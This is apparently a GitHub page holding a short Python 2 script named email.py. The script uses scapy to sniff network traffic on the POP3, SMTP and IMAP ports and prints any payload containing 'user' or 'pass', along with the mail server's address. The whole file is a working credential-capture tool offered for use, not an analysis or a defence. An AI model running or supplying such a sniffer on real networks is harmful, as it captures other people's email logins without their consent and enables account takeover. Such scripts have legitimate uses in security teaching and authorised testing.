-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathemail.py
29 lines (22 loc) · 797 Bytes
/
email.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
"""
========================================
Name:Messenger Author: Lalevin Martin
Mailbox: [email protected]
Github: http://github.com/nacglalevin
Written in 2023-1-12
==================NACG==================
"""
from scapy.all import *
import sys
try:
filter1 = "tcp port 110 or tcp port 25 or tcp port 143"
filter1 = sys.argv[1]
except:
print "Usage: ['tcp port' port 'or tcp port ' port]"
def packet_callback(packet):
if packet[TCP].payload:
mail_packet = str(packet[TCP].payload)
if "user" in mail_packet.lower() or "pass" in mail_packet.lower():
print "[*] Server: %s" % packet[IP].dst
print "[*] %s " % packet[TCP].payload
sniff(filter=filter1, prn=packet_callback, store=0)